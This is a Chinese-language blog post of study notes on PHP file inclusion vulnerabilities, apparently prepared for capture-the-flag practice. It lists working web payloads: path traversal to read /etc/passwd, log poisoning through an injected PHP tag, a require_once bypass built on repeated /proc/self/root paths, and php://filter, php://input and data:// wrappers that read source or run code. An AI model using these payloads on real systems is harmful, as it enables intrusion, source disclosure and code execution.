文件包含

dawn_r1sing Lv3

文件包含

1、基本内容

include() 错误级别 warning

include_once() //保证文件只包含一次

require() 错误级别 fatal error

require_once() //保证文件只包含一次

1
include 'a.php';	//单独编译
文件加载路径
  • 绝对路径(效率低、安全

    C:\路径\php文件

  • 相对路径(效率高、易出错 ) → “ 当前文件./ ”会混乱

    ./ 表示当前文件夹

    ../ 上级目录

2、检验漏洞是否存在

1、查看配置文件以检验是否含有文件包含漏洞

1
/index.php?file=../../../../../../etc/passwd

3、攻击方法

文件包含漏洞分为 本地文件包含远程文件包含

1、访问日志

原理:当访问一个不存在的资源时,Apache同样会记录下来,这就意味着,如果网站存在包含漏洞,却没有可以包含的文件时(通常指的是网页中的木马文件),就可以去访问URL:www.any.com<?php phpinfo();?>,虽然说网页上提示您没有访问的权限,但是Apache会记录我们的请求<?php phpinfo();?>,并写到access.log文件中,这时候再去包含Apache的日志文件,就可以利用文件包含漏洞了

步骤:访问日志所在目录→注马(UA)/…

Linux:/?file=/var/log/nginx/access.log

题目:BUUCTF-phpdest

2、require_once绕过

点击

在这里有个小知识点,/proc/self指向当前进程的/proc/pid//proc/self/root/是指向/的符号链接,想到这里,用伪协议配合多级符号链接的办法进行绕过,payload:

1
2
3
php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

//result PD9waHAKCiRmbGFnPSJ0ZXN0e30iOwo=

原理:???

3、伪协议
  • php://input

    读取POST请求的参数

    file_get_contents() 解析传入字符串发现是伪协议中的php://input,便可以读取POST传入的php代码。

  • php://filter

    1、源码读取(前提是必须知道文件名)

    1
    php://filter/read=convert.base64-encode/resource=[文件路径]

    (include可以对伪协议进行解析)

    php://filter 是一种访问本地文件的协议,/read=convert.base64-encode/ 表示读取的方式是 base64 编码后,resource=index.php 表示目标文件为index.php。如果不进行 base64 编码传入,index.php 就会直接执行,我们就看不到文件中的内容了。

    2、代码绕过

  • data://

    传入的数据是php就会执行php代码

    1
    data://text/plain;base64,xxxx(base64编码后的数据)

3、基本方法

  1. 打开文件php://filter/read=convert.base64-encode/resouce=[文件路径]

  2. 执行php代码

    • get: ?file=php://input

      post: (php代码)

    • data://text/plain;base64,xxxxxx(base64编码后的数据)

  • Title: 文件包含
  • Author: dawn_r1sing
  • Created at : 2023-11-16 22:45:44
  • Updated at : 2023-11-16 22:52:41
  • Link: https://dawnrisingdong.github.io/2023/11/16/文件包含/
  • License: This work is licensed under CC BY-NC-SA 4.0.